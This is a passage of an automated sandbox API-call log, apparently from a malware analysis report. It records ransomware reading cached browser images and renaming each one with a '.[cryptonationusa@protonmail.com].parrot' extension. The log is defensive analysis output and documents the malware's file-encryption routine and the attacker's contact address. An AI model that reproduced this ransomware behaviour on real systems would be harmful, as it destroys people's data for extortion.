hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0080.509] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.509] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.511] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.511] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1a65, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1a65, lpOverlapped=0x0) returned 1 [0080.512] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.512] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgHzB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeghzb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgHzB[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeghzb[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0080.515] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.515] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.517] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.517] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5a45, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x5a45, lpOverlapped=0x0) returned 1 [0080.518] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.519] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222e118 | out: hHeap=0x5b0000) returned 1 [0080.521] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.521] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.523] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.523] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x388f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x388f, lpOverlapped=0x0) returned 1 [0080.524] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.525] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[2].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[2].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.525] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.527] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.527] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.529] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.529] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1e97, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1e97, lpOverlapped=0x0) returned 1 [0080.530] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.531] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIyL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegiyl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIyL[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegiyl[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0080.533] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.533] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.535] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.535] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x23bf, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x23bf, lpOverlapped=0x0) returned 1 [0080.536] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.536] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgkY6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegky6[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgkY6[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegky6[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.539] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.539] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.541] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.541] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8df, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x8df, lpOverlapped=0x0) returned 1 [0080.541] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.542] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgLzV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeglzv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgLzV[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeglzv[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.548] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.548] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.550] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.550] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2b8d, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2b8d, lpOverlapped=0x0) returned 1 [0080.551] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.551] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgUri[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeguri[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgUri[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeguri[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.555] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.555] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.562] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.562] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x201f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x201f, lpOverlapped=0x0) returned 1 [0080.563] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.564] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgXBv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegxbv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgXBv[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegxbv[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.567] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.567] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.569] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.569] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6e9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x6e9, lpOverlapped=0x0) returned 1 [0080.569] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.570] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgZME[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegzme[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgZME[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegzme[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.573] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.573] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.574] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.574] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1dc, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1dc, lpOverlapped=0x0) returned 1 [0080.575] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.575] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBghfVy[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbghfvy[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBghfVy[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbghfvy[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6afb48 | out: hHeap=0x5b0000) returned 1 [0080.578] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.578] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.580] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.580] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1af, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1af, lpOverlapped=0x0) returned 1 [0080.580] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.580] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBkwUr[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbkwur[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBkwUr[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbkwur[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6afb18 | out: hHeap=0x5b0000) returned 1 [0080.583] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.583] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.585] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.585] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x23b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x23b, lpOverlapped=0x0) returned 1 [0080.585] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.586] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBlBV0U[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bblbv0u[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBlBV0U[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bblbv0u[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179270 | out: hHeap=0x5b0000) returned 1 [0080.588] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.588] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, 